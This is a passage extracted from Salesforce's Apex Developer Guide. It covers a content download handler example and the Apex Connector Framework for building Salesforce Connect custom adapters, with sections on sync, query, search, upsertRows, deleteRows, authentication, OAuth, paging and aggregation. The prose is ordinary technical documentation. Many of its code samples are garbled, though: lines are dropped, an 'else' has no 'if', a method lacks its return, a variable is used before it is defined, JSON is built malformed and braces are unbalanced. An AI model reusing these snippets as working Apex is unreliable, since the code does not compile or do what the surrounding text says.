Example: The following example creates a class that implements the ContentDownloadHandlerFactory interface
and returns a download handler that prevents downloading a file to a mobile device.
388

if(context == Sfc.ContentDownloadContext.MOBILE) {
contentDownloadHandler.downloadErrorMessage = 'Downloading a file from a mobile
device isn't allowed.';
}
}
Example: You can also prevent downloading a file from a mobile device and require that a file must go through IRM control.

if(UserInfo.getUserId() == '005xx000001SvogAAC') {
}
if(context == Sfc.ContentDownloadContext.MOBILE) {
contentDownloadHandler.downloadErrorMessage = 'Downloading a file from a mobile
device isn't allowed.';
}
contentDownloadHandler.downloadErrorMessage = 'This file needs to be IRM controlled.
You're not allowed to download it';
contentDownloadHandler.redirectUrl ='/apex/IRMControl?Id='+id.get(0);
}
}
Salesforce Connect
Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a custom
adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally. Salesforce
Connect represents that data in Salesforce external objects, enabling users and the Force.com platform to seamlessly interact with data
that’s stored outside the Salesforce org.
389
IN THIS SECTION:
Salesforce Connect
Salesforce Connect provides seamless integration of data across system boundaries by letting your users view, search, and modify
data that’s stored outside your Salesforce org. For example, perhaps you have data that’s stored on premises in an enterprise resource
planning (ERP) system. Instead of copying the data into your org, you can use external objects to access the data in real time via web
service callouts.
Apex Considerations for Salesforce Connect External Objects
Apex code can access external object data via any Salesforce Connect adapter, but some requirements and limitations apply.
Writable External Objects
By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update,
and delete data that’s stored outside the org by interacting with external objects within the org. For example, users can see all the
orders that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user
interface, they can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP
system.
Get Started with the Apex Connector Framework
To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Key Concepts About the Apex Connector Framework
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to
develop a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect
custom adapter.
Considerations for the Apex Connector Framework
Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
Apex Connector Framework Examples
These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
Salesforce Connect
Salesforce Connect provides seamless integration of data across system boundaries by letting your
EDITIONS
users view, search, and modify data that’s stored outside your Salesforce org. For example, perhaps
you have data that’s stored on premises in an enterprise resource planning (ERP) system. Instead Available in: both Salesforce
of copying the data into your org, you can use external objects to access the data in real time via Classic and Lightning
web service callouts. Experience
Traditionally, we’ve recommended importing or copying data into your Salesforce org to let your
Available in: Developer
users access that data. For example, extract, transform, and load (ETL) tools can integrate third-party Edition
systems with Salesforce. However, doing so copies data into your org that you don’t need or that
quickly becomes stale. Available for an extra cost
in: Enterprise, Performance,
In contrast, Salesforce Connect maps Salesforce external objects to data tables in external systems. and Unlimited Editions
Instead of copying the data into your org, Salesforce Connect accesses the data on demand and in
real time. The data is never stale, and we access only what you need. We recommend that you use
Salesforce Connect when:
• You have a large amount of data that you don’t want to copy into your Salesforce org.
• You need small amounts of data at any one time.
• You want real-time access to the latest data.
390
Even though the data is stored outside your org, Salesforce Connect provides seamless integration with the Force.com platform. External
objects are available to Salesforce tools, such as global search, lookup relationships, record feeds, and the Salesforce1 app. External
objects are also available to Apex, SOSL, SOQL queries, Salesforce APIs, and deployment via the Metadata API, change sets, and packages.
For example, suppose that you store product order information in a back-office ERP system. You want to view those orders as a related
list on each customer record in your Salesforce org. Salesforce Connect enables you to set up a lookup relationship between the customer
object (parent) and the external object (child) for orders. Then you can set up the page layouts for the parent object to include a related
list that displays child records.
Going a step further, you can update the orders directly from the related list on the customer record. By default, external object records
are read only. But you can define the external data source to enable writable external objects.
For information about using Apex DML write operations on external object records, see the Force.com Apex Code Developer's Guide.
Example: This screenshot shows how Salesforce Connect can provide a seamless view of data across system boundaries. A record
detail page for the Business_Partner external object includes two related lists of child objects. The external lookup relationships
and page layouts enable users to view related data from inside and from outside the Salesforce org on a single page.
• Account standard object (1)
• Sales_Order external object (2)
IN THIS SECTION:
Salesforce Connect Adapters
Salesforce Connect uses a protocol-specific adapter to connect to an external system and access its data. When you define an external
data source in your organization, you specify the adapter in the Type field.
Salesforce Connect Custom Adapter
Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom
adapter for Salesforce Connect.
391

Salesforce Connect uses a protocol-specific adapter to connect to an external system and access
EDITIONS
its data. When you define an external data source in your organization, you specify the adapter in
the Type field. Available in: both Salesforce
These adapters are available for Salesforce Connect. Classic and Lightning
Experience
Salesforce Description Where to Find Callout Limits Available in: Developer
Connect Edition
Adapter
Available for an extra cost
Cross-org Uses the Force.com REST API to access No callout limits. However, each callout in: Enterprise, Performance,
data that’s stored in other Salesforce counts toward the API usage limits of the and Unlimited Editions
orgs. provider org.
Salesforce Help: API Usage Considerations
for Salesforce Connect—Cross-Org
Adapter
Salesforce Limits Quick Reference Guide:
API Requests Limits
OData 2.0 Uses Open Data Protocol to access data Salesforce Help: General Limits for
OData 4.0 that’s stored outside Salesforce. The Salesforce Connect—OData 2.0 and 4.0
external data must be exposed via OData Adapters
producers.
Custom You use the Apex Connector Framework Apex Developer Guide: Callout Limits and
adapter to develop your own custom adapter Limitations
created via when the other available adapters aren’t Apex Developer Guide: Execution
Apex suitable for your needs. Governors and Limits
A custom adapter can obtain data from
anywhere. For example, some data can
be retrieved from anywhere in the
Internet via callouts, while other data can
be manipulated or even generated
programmatically.
SEE ALSO:

Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom adapter
for Salesforce Connect.
Your users and the Force.com platform interact with the external data via external objects. For each of those interactions, Salesforce
Connect invokes methods in the Apex classes that compose the custom adapter. Salesforce invokes the custom adapter’s Apex code
each time that:
• A user clicks an external object tab for a list view.
392
• A user views a record detail page of an external object.

• A user views a record detail page of a parent object that displays a related list of child external object records.
• A user performs a Salesforce global search.
• A user creates, edits, or deletes an external object record.
• A user runs a report.
• The preview loads in the report builder.
• An external object is queried via flows, APIs, Apex, SOQL, or SOSL.
• You validate or sync an external data source.
SEE ALSO:
Apex Considerations for Salesforce Connect External Objects

Apex code can access external object data via any Salesforce Connect adapter, but some requirements and limitations apply.
• These features aren’t available for external objects.
– Apex-managed sharing
– Apex triggers
• When developers use Apex to manipulate external object records, asynchronous timing and an active background queue minimize
potential save conflicts. A specialized set of Apex methods and keywords handles potential timing issues with write execution. Apex
also lets you retrieve the results of delete and upsert operations. Use the BackgroundOperation object to monitor job progress for
write operations via the API or SOQL.
• Database.insertAsync() methods can’t be executed in the context of a portal user, even when the portal user is a
community member. To add external object records via Apex, use Database.insertImmediate() methods.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– You must enable Request Row Counts on the external data source, and each response from the external system must include
the total row count of the result set.
– We recommend enabling Server Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing data sets more effectively than client-driven paging.
When Server Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.
– When Server Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of the following:
• Batch size specified in the scope parameter of Database.executeBatch. Default is 200 records.
393
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.
SEE ALSO:
Using Batch Apex
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter
Writable External Objects

By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update, and
delete data that’s stored outside the org by interacting with external objects within the org. For example, users can see all the orders
that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user interface, they
can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP system.
Access to external data depends on the connections between Salesforce and the external systems that store the data. Network latency
and the availability of the external systems can introduce timing issues with Apex write or delete operations on external objects.
Because of the complexity of these connections, Apex can’t execute standard insert(), update(), or create() operations
on external objects. Instead, Apex provides a specialized set of database methods and keywords to work around potential issues with
write execution. DML insert, update, create, and delete operations on external objects are either asynchronous or executed when specific
criteria are met.
This example uses the Database.insertAsync() method to insert a new order into a database table asynchronously. It returns
a SaveResult object that contains a unique identifier for the insert job.
public void createOrder () {
SalesOrder__x order = new SalesOrder__x ();
Database.SaveResult sr = Database.insertAsync (order);
if (! sr.isSuccess ()) {
String locator = Database.getAsyncLocator ( sr );
completeOrderCreation(locator);
}
}
Note: Writes performed on external objects through the Salesforce user interface or the API are synchronous and work the same
way as for standard and custom objects.
You can perform the following DML operations on external objects, either asynchronously or based on criteria: insert records, update
records, upsert records, or delete records. Use classes in the DataSource namespace to get the unique identifiers for asynchronous
jobs, or to retrieve results lists for upsert, delete, or save operations.
When you initiate an Apex method on an external object, a job is scheduled and placed in the background jobs queue. The
BackgroundOperation object lets you view the job status for write operations via the API or SOQL. Monitor job progress and related
errors in the org, extract statistics, process batch jobs, or see how many errors occur in a specified time period.
For usage information and examples, see Database Namespace on page 1799 and DataSource Namespace on page 1860.
SEE ALSO:
Salesforce Help: Writable External Objects Considerations for Salesforce Connect—All Adapters
394

To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Let’s step through the code of a sample custom adapter.
IN THIS SECTION:
1. Create a Sample DataSource.Connection Class
First, create a DataSource.Connection class to enable Salesforce to obtain the external system’s schema and to handle
queries and searches of the external data.
2. Create a Sample DataSource.Provider Class
Now you need a class that extends and overrides a few methods in DataSource.Provider.
3. Set Up Salesforce Connect to Use Your Custom Adapter
After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Create a Sample DataSource.Connection Class

First, create a DataSource.Connection class to enable Salesforce to obtain the external system’s schema and to handle queries
and searches of the external data.
global class SampleDataSourceConnection
extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams
connectionParams) {
}
// ...
The DataSource.Connection class contains these methods.

• query
• search
• sync
• upsertRows
• deleteRows
sync
The sync() method is invoked when an administrator clicks the Validate and Sync button on the external data source detail page.
It returns information that describes the structural metadata on the external system.
Note: Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external
objects.
// ...
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
395
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample', 'Title',
columns));
return tables;
}
// ...
query
The query method is invoked when a SOQL query is executed on an external object. A SOQL query is automatically generated and
executed when a user opens an external object’s list view or detail page in Salesforce. The DataSource.QueryContext is always
only for a single table.
This sample custom adapter uses a helper method in the DataSource.QueryUtils class to filter and sort the results based on
the WHERE and ORDER BY clauses in the SOQL query.
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
// ...
override global DataSource.TableResult query(
DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String,Object>> rows = getRows(context);
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context,
countResponse);
} else {
List<Map<String,Object>> filteredRows =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String,Object>> sortedRows =
DataSource.QueryUtils.sort(context, filteredRows);
List<Map<String,Object>> limitedRows =
DataSource.QueryUtils.applyLimitAndOffset(context,
sortedRows);
return DataSource.TableResult.get(context, limitedRows);
}
396
}
// ...
search
The search method is invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also
searches external objects. Because search can be federated over multiple objects, the DataSource.SearchContext can have
multiple tables selected. In this example, however, the custom adapter knows about only one table.
// ...
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection :
context.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection,
getRows(context)));
}
return results;
}
// ...
The following is the getRows helper method that the search sample calls to get row values from the external system. The getRows
method makes use of other helper methods:
• makeGetCallout makes a callout to the external system.
• foundRow populates a row based on values from the callout result. The foundRow method is used to make any modifications
to the returned field values, such as changing a field name or modifying a field value.
These methods aren’t included in this snippet but are available in the full example included in Connection Class. Typically, the filter from
SearchContext or QueryContext would be used to reduce the result set, but for simplicity this example doesn’t make use of
the context object.
// ...
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();

// Parse the JSON response and populate the rows.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
response.getBody());
Map<String, Object> error = (Map<String, Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
} else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
397
rows.add(foundRow(row));
}
}
return rows;
}
// ...
upsertRows
The upsertRows method is invoked when external object records are created or updated. You can create or update external object
records through the Salesforce user interface or DML. The following example provides a sample implementation for the upsertRows
method. The example uses the passed-in UpsertContext to determine what table was selected and performs the upsert only if
the name of the selected table is Sample. The upsert operation is broken up into either an insert of a new record or an update of an
existing record. These operations are performed in the external system using callouts. An array of DataSource.UpsertResult
is populated from the results obtained from the callout responses. Note that because a callout is made for each row, this example might
hit the Apex callouts limit.
// ...
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String, Object>> rows = context.rows;
for (Map<String, Object> row : rows){

// Make a callout to insert or update records in the external system.
HttpResponse response;
// Determine whether to insert or update a record.
if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
// Make an Apex callout and get HttpResponse.
response = makePostCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"');
}
else {
// Send a PUT HTTP request to update an existing external record.
response = makePutCallout(
row.get('ExternalId') + '"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.

// Deserialize the response.
if (response.getStatusCode() == 200){
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
398
results.add(DataSource.UpsertResult.failure(
String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
}
}
return results;
}
return null;
}
// ...
deleteRows
The deleteRows method is invoked when external object records are deleted. You can delete external object records through the
Salesforce user interface or DML. The following example provides a sample implementation for the deleteRows method. The example
uses the passed-in DeleteContext to determine what table was selected and performs the deletion only if the name of the selected
table is Sample. The deletion is performed in the external system using callouts for each external ID. An array of
DataSource.DeleteResult is populated from the results obtained from the callout responses. Note that because a callout is
made for each ID, this example might hit the Apex callouts limit.
// ...
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// ...
SEE ALSO:
Connection Class
Filters in the Apex Connector Framework
Create a Sample DataSource.Provider Class

Now you need a class that extends and overrides a few methods in DataSource.Provider.
399
Your DataSource.Provider class informs Salesforce of the functional and authentication capabilities that are supported by or
required to connect to the external system.
global class SampleDataSourceProvider extends DataSource.Provider {
If the external system requires authentication, Salesforce can provide the authentication credentials from the external data source
definition or users’ personal settings. For simplicity, however, this example declares that the external system doesn’t require authentication.
To do so, it returns AuthenticationCapability.ANONYMOUS as the sole entry in the list of authentication capabilities.
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
This example also declares that the external system allows SOQL queries, SOSL queries, Salesforce searches, upserting data, and deleting
data.
• To allow SOQL, the example declares the DataSource.Capability.ROW_QUERY capability.
• To allow SOSL and Salesforce searches, the example declares the DataSource.Capability.SEARCH capability.
• To allow upserting external data, the example declares the DataSource.Capability.ROW_CREATE and
DataSource.Capability.ROW_UPDATE capabilities.
• To allow deleting external data, the example declares the DataSource.Capability.ROW_DELETE capability.
override global List<DataSource.Capability> getCapabilities()
{
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
}
Lastly, the example identifies the SampleDataSourceConnection class that obtains the external system’s schema and handles
the queries and searches of the external data.
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new SampleDataSourceConnection(connectionParams);
}
}
SEE ALSO:
Provider Class
400
Set Up Salesforce Connect to Use Your Custom Adapter

After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.
Complete the tasks that are described in “Set Up Salesforce Connect to Access External Data with a Custom Adapter” in the Salesforce
Help.
To add write capability for external objects to your adapter:
1. Make the external data source for this adapter writable. See “Define an External Data Source for Salesforce Connect—Custom Adapter”
in the Salesforce Help.
2. Implement the DataSource.Connection.upsertRows() and DataSource.Connection.deleteRows()
methods for the adapter. For details, see Connection Class on page 1883.

The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect custom
adapter.
We recommend that you learn about some key concepts to help you use the Apex Connector Framework effectively.
IN THIS SECTION:
External IDs for Salesforce Connect External Objects
When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an
external object come from the DataSource.Column named ExternalId.
Authentication for Salesforce Connect Custom Adapters
Your DataSource.Provider class declares what types of credentials can be used to authenticate to the external system.
Callouts for Salesforce Connect Custom Adapters
Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system
requires authentication, incorporate the authentication parameters into the callout.
Paging with the Apex Connector Framework
When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can
then page through those batches. However, custom adapters for Salesforce Connect don’t automatically support paging of any
kind. To support paging through external object data that’s obtained by a custom adapter, implement server-driven or client-driven
paging.
queryMore with the Apex Connector Framework
Custom adapters for Salesforce Connect don’t automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method
in the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query
call.
Aggregation for Salesforce Connect Custom Adapters
If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation
property. The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
401

The DataSource.QueryContext contains one DataSource.TableSelection. The
DataSource.SearchContext can have more than one TableSelection. Each TableSelection has a filter
property that represents the WHERE clause in a SOQL or SOSL query.
External IDs for Salesforce Connect External Objects

When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an external
object come from the DataSource.Column named ExternalId.
Each external object has an External ID standard field. Its values uniquely identify each external object record in your org. When
the external object is the parent in an external lookup relationship, the External ID standard field is used to identify the child records.
Important:
• The custom adapter’s Apex code must declare the DataSource.Column named ExternalId and provide its values.
• Don’t use sensitive data as the values of the External ID standard field, because Salesforce sometimes stores those values.
– External lookup relationship fields on child records store and display the External ID values of the parent records.
– For internal use only, Salesforce stores the External ID value of each row that’s retrieved from the external system. This
behavior doesn’t apply to external objects that are associated with high-data-volume external data sources.
Example: This excerpt from a sample DataSource.Connection class shows the DataSource.Column named
ExternalId.

columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
SEE ALSO:
Column Class

Your DataSource.Provider class declares what types of credentials can be used to authenticate to the external system.
402
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that

indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
• If Identity Type is set to Named Principal, the credentials come from the external data source definition.
• If Identity Type is set to Per User:
– For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the user’s authentication settings for the external system.
– For administrative connections, such as syncing the external system’s schema, the credentials come from the external data
source definition.
IN THIS SECTION:
OAuth for Salesforce Connect Custom Adapters
If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.
SEE ALSO:

If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.
Some external systems use OAuth access tokens that expire and need to be refreshed. We can automatically refresh access tokens as
needed when:
• The user or external data source has a valid refresh token from a previous OAuth flow.
• The sync, query, or search method in your DataSource.Connection class throws a
DataSource.OAuthTokenExpiredException.
We use the relevant OAuth credentials for the user or external data source to negotiate with the remote service and refresh the token.
The DataSource.Connection class is reconstructed with the new OAuth token in the DataSource.ConnectionParams
that we supply to the constructor. The search or query is then reinvoked.
If the authentication provider doesn’t provide a refresh token, access to the external system is lost when the current access token expires.
If a warning message appears on the external data source detail page, consult your OAuth provider for information about requesting
offline access or a refresh token.
For some authentication providers, requesting offline access is as simple as adding a scope. For example, to request offline access from
a Salesforce authentication provider, add refresh_token to the Default Scopes field on the authentication provider definition
in your Salesforce organization.
For other authentication providers, you must request offline access in the authentication URL as a query parameter. For example, with
Google, append ?access_type=offline to the Authorize Endpoint URL field on the authentication provider definition
in your Salesforce organization. To edit the authorization endpoint, select Open ID Connect in the Provider Type field of the
authentication provider. For details, see “Configure an OpenID Connect Authentication Provider” in the Salesforce Help.
SEE ALSO:
403
Callouts for Salesforce Connect Custom Adapters

Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system requires
authentication, incorporate the authentication parameters into the callout.
Authentication parameters are encapsulated in a ConnectionParams object and provided to your DataSource.Connection
class’s constructor.
For example, if your connection requires an OAuth access token, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization', 'Bearer ' +
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}
If your connection requires basic password authentication, use code similar to the following.
string encodedHeaderValue = EncodingUtil.base64Encode(Blob.valueOf(
this.connectioninfo.username + ':' +
this.connectionInfo.password));
request.setHeader('Authorization', 'Basic ' + encodedHeaderValue);
return response;
}
Named Credentials as Callout Endpoints for Salesforce Connect Custom Adapters

A Salesforce Connect custom adapter obtains the relevant credentials that are stored in Salesforce whenever they’re needed. However,
your Apex code must apply those credentials to all callouts, except those that specify named credentials as the callout endpoints. A
named credential lets Salesforce handle the authentication logic for you so that your code doesn’t have to.
If all your custom adapter’s callouts use named credentials, you can set the external data source’s Authentication Protocol
field to No Authentication. The named credentials add the appropriate certificates and can add standard authorization headers to the
callouts. You also don’t need to define a remote site for an Apex callout endpoint that’s defined as a named credential.
SEE ALSO:
Named Credentials as Callout Endpoints
Paging with the Apex Connector Framework

When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can then
page through those batches. However, custom adapters for Salesforce Connect don’t automatically support paging of any kind. To
support paging through external object data that’s obtained by a custom adapter, implement server-driven or client-driven paging.
404
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class. Also, your Apex code must generate a query token and use it to determine and fetch the next batch
of results.
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets. Factor in the offset and maxResults
properties in the DataSource.QueryContext to determine which rows to return. For example, suppose that the result set has
20 rows with numeric ExternalID values from 1 to 20. If we ask for an offset of 5 and maxResults of 5, we expect to get
the rows with IDs 6–10. We recommend that you do all filtering in the external system, outside of Apex, using methods that the external
system supports.
SEE ALSO:
QueryContext Class

Custom adapters for Salesforce Connect don’t automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method in
the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query call.
To support queryMore, your implementation must indicate whether more data exists than what’s in the current batch. When the
Force.com platform knows that more data exists, your API queries return a QueryResult object that’s similar to the following.
{
"totalSize" => -1,
"done" => false,
"nextRecordsUrl" => "/services/data/v32.0/query/01gxx000000B5OgAAK-2000",
"records" => [
[ 0] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000001AAA"
},
"ExternalId" => "id0"
},
[ 1] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000002AAA"
},
…
}
IN THIS SECTION:
Support queryMore by Using Server-Driven Paging
DataSource.Provider class.
405
Support queryMore by Using Client-Driven Paging

With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
Support queryMore by Using Server-Driven Paging

DataSource.Provider class.
When the returned DataSource.TableResult doesn’t contain the entire result set, the TableResult must provide a
queryMoreToken value. The query token is an arbitrary string that we store temporarily. When we request the next batch of results,
we pass the query token back to your custom adapter in the DataSource.QueryContext. Your Apex code must use that query
token to determine which rows belong to the next batch of results.
When your custom adapter returns the final batch, it must not return a queryMoreToken value in the TableResult.
SEE ALSO:
Support queryMore by Using Client-Driven Paging

With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
If the external system can return the total size of the result set for each query, declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Make sure that each search or query returns the totalSize value in the
DataSource.TableResult. If the total size is larger than the number of rows that are returned in the batch, we generate a
nextRecordsUrl link and set the done flag to false. We also set the totalSize in the TableResult to the value that
you supply.
If the external system can’t return the total size for each query, don’t declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Whenever we do a query through your custom adapter, we ask for one extra row. For example, if
you run the query SELECT ExternalId FROM Sample LIMIT 5, we call the query method on the
DataSource.Connection object with a DataSource.QueryContext that has the maxResults property set to 6.
The presence or absence of that sixth row in the result set indicates whether more data is available. We assume, however, that the data
set we query against doesn’t change between queries. If the data set changes between queries, you might see repeated rows or not
get all results.
Ultimately, accessing external data works most efficiently when you retrieve small amounts of data and the data set that you query
against changes infrequently.
SEE ALSO:
Aggregation for Salesforce Connect Custom Adapters

If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation property.
The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
406
The following example illustrates how to apply the value of the aggregation property to handle COUNT() queries.
// Handle COUNT() queries
QueryAggregation.COUNT) {
List<Map<String, Object>> countResponse = new List<Map<String, Object>>();
Map<String, Object> countRow = new Map<String, Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
return countResponse;
}
An aggregate query can still have filters, so your query method can be implemented like the following example to support basic
aggregation queries, with or without filters.
override global DataSource.TableResult query(DataSource.QueryContext context) {

List<Map<String,Object>> rows = retrieveData(context);
List<Map<String,Object>> response = postFilterRecords(
context.tableSelection.filter, rows);
List<Map<String, Object>> countResponse = new List<Map<String,
Object>>();
Map<String, Object> countRow = new Map<String, Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
return DataSource.TableResult.get(context, countResponse);
}
return DataSource.TableResult.get(context, response);
}
SEE ALSO:
QueryContext Class
Create a Sample DataSource.Connection Class

The DataSource.QueryContext contains one DataSource.TableSelection. The DataSource.SearchContext
can have more than one TableSelection. Each TableSelection has a filter property that represents the WHERE
clause in a SOQL or SOSL query.
For example, when a user goes to an external object’s record detail page, your DataSource.Connection is executed. Behind
the scenes, we generate a SOQL query similar to the following.
SELECT columnNames
FROM externalObjectApiName
WHERE ExternalId = 'selectedExternalObjectExternalId'
407
This SOQL query causes the query method on your DataSource.Connection class to be invoked. The following code can
detect this condition.
if (context.tableSelection.filter != null) {
if (context.tableSelection.filter.type == DataSource.FilterType.EQUALS
&& 'ExternalId' == context.tableSelection.filter.columnName
&& context.tableSelection.filter.columnValue instanceOf String) {
String selection = (String)context.tableSelection.filter.columnValue;
return DataSource.TableResult.get(true, null,
tableSelection.tableSelected, findSingleResult(selection));
}
}
